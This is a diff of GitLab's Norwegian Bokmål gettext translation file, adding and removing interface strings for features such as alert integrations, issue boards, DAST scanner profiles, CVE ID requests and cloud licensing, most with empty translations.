+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr "Webhook-URL"
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr "Du kan nå sette opp varslings-endepunkter for manuelt konfigurerte Prometheus-instans i Varsler-seksjonen på operasjonsinnstillingsside. Feltet for varslings-endepunkter på denne siden har blitt utfaset."
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Tillat gruppeeiere å behandle LDAP-relaterte innstillinger"
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "En feil har oppstått"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "En feil oppstod under tillegging av et utkast til tråden."
@@ -3338,6 +3440,9 @@ msgstr "En feil oppstod under innhenting av ventende kommentarer"
msgid "An error occurred while fetching projects autocomplete."
msgstr "En feill oppstod under innhenting av autofullføring av prosjekter."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "En feil oppstod under innhenting av sidelinjedata"
@@ -3350,9 +3455,6 @@ msgstr "Det oppstod en feil under innhenting av terraformingsrapporter."
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr "En feil oppstod under innhenting av byggversjonene."
-
msgid "An error occurred while fetching the job log."
msgstr "En feil oppstod under innhenting av jobbloggføringen."
@@ -3443,7 +3545,7 @@ msgstr "En feil oppstod under innlasting av filen."
msgid "An error occurred while loading the file. Please try again later."
msgstr "En feil oppstod under innlasting av filen. Vennligst prøv igjen senere."
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr "En sak finnes allerede"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "En sak kan være en feil, et gjøremål, eller en funksjonsforespørsel som behøver å diskuteres i et prosjekt. Dessuten er saker søkbare og filtrerbare."
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr "Godkjenningsregler"
msgid "Approval rules reset to project defaults"
msgstr "Godkjenningsreglene ble tilbakestilt til prosjektets standardinnstillinger"
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d medlem"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} godkjenning kreves fra %{membersCount}"
msgstr[1] "%{count} godkjenninger kreves fra %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Godkjennere"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Navn"
@@ -3826,9 +3934,6 @@ msgstr "Regelnavn"
msgid "ApprovalRule|Target branch"
msgstr "MÃ¥lgren"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "f.eks. produkttesting, sikkerhet, osv."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Er du sikker på at du vil miste ulagrede endringer?"
@@ -4026,6 +4137,12 @@ msgstr "Er du sikker på at du vil stoppe dette miljøet?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Er du sikker på at du vil låse opp %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Er du sikker på at du vil avslutte abonnementet på %{type}: %{link_to_noteable_text}?"
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} pushet til grenen %{branch} av %{project_name} ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Lagarbeid uten E-post"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr "Avataren vil bli fjernet. Er du sikker?"
msgid "Average per day: %{average}"
msgstr "Gjennomsnitt per dag: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "Tilbake til side %{number}"
@@ -4603,6 +4723,9 @@ msgstr "En bruker med API-tilgang, hvis aktuelt"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Begynn med den valgte commiten"
@@ -4645,8 +4771,8 @@ msgstr "Fakturering"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "%{user_name}, du bruker for tiden %{plan_name}-planen."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr "Blokkert sak"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Bord"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr "Utvid"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Vis omfang"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "av"
msgid "CHANGELOG"
msgstr "ENDRINGSLOGG"
-msgid "CI / CD"
-msgstr "CI/CD"
-
-msgid "CI / CD Analytics"
-msgstr "CI/CD-analystikk"
-
-msgid "CI / CD Settings"
-msgstr "CI/CD-Innstillinger"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD-konfigurasjon"
@@ -5312,6 +5460,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL-adresse for tilbakeringing"
@@ -5408,6 +5577,9 @@ msgstr "Avbryt, behold prosjektet"
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "Avbryter forhåndsvisningen"
@@ -5528,6 +5700,9 @@ msgstr "Endre mal"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Endre tittel"
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Tilbakestill"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Dette vil opprette en ny commit for å kunne tilbakestille de eksisterende endringene."
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "Lukk %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Lukk epos"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Lukker denne %{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "Klynge"
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Sørg for at kontoen din %{link_to_requirements} for å opprette Kuberne
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "Behandle Kubernetes-klyngen din ved å gå til %{provider_link}"
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr "Loggfør…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr "Firmanavn"
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr "Containerskanning"
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] "%{count} etikett"
msgstr[1] "%{count} etiketter"
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr "%{imageName} etiketter"
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr "Sammendrag: %{imageId}"
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr "Bilde-etiketter"
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr "Kopier"
msgid "Copy %{http_label} clone URL"
msgstr "Kopier %{http_label}-klone-URL"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Kopier %{protocol}-klone-URL"
@@ -8374,9 +8630,6 @@ msgstr "Kopier kommandoer"
msgid "Copy commit SHA"
msgstr "Kopier commit-SHA-en"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr "Kopier miljø"
@@ -8434,9 +8687,18 @@ msgstr "Kopier verdi"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr "Klarte ikke å arkivere %{design}. Vennligst prøv igjen."
@@ -8491,12 +8753,21 @@ msgstr "Klarte ikke å finne designet."
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "Klarte ikke å fjerne trigger."
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "Land"
@@ -8539,17 +8813,15 @@ msgstr "Dekning"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "Opprett"
msgid "Create %{environment}"
msgstr "Opprett %{environment}"
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr "Opprett %{type}"
@@ -8694,9 +8966,6 @@ msgstr "Lag en ny fil"
msgid "Create new file or directory"
msgstr "Opprett ny fil eller katalog"
-msgid "Create new issue in Jira"
-msgstr "Opprett ny sak i Jira"
-
msgid "Create new label"
msgstr "Opprett ny stempel"
@@ -8718,6 +8987,9 @@ msgstr "Opprett krav"
msgid "Create snippet"
msgstr "Opprett utdrag"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr "Opprett jokertegn: %{searchTerm}"
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Opprettet"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "Opprettet %{timestamp}"
@@ -8934,6 +9209,9 @@ msgstr "Oppretter epos"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "Opprettelsesdato"
@@ -9236,8 +9514,10 @@ msgstr "Velg stempler"
msgid "CycleAnalytics|Show"
msgstr "Vis"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "Viser %{subjectFilterText} og %{selectedLabelsCount} stempler"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr "Viser data for gruppen '%{groupName}' og %{selectedProjectCount} prosjekter fra %{startDate} til %{endDate}"
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr "Rediger nettstedsprofilen"
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr "Detaljer om feilen"
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr "Profilnavn"
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr "Skanner-profiler"
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "Dag i måneden"
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Tilbakekall"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr "Tilbakekall %{b_start}%{name}%{b_end}?"
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Tilbakekall %{name}"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Brukernavn"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Beskrivelse:"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr "Avvelg alle"
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr "Detaljer (standard)"
msgid "Detect host keys"
msgstr ""
+msgid "DevOps Adoption"
+msgstr ""
+
msgid "DevOps Report"
msgstr "DevOps-rapport"
-msgid "DevopsAdoption|%{selectedCount} group selected"
-msgstr ""
-
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Rediger applikasjonen"
msgid "Edit comment"
msgstr "Rediger kommentar"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Rediger beskrivelse"
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr "Rediger utgreining i nett-IDE"
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Rediger gruppe: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Aktiver Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr "Skru på PlantUML"
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr "Skru på tilgang til Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr "Skrudd på"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr "Skriv inn ny %{field_title}"
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr "Aktiv"
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr "Ingen prosjekter er tilgjengelige"
msgid "ErrorTracking|Select project"
msgstr "Velg prosjekt"
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr "Utvid milepæler"
+msgid "Expand panel"
+msgstr ""
+
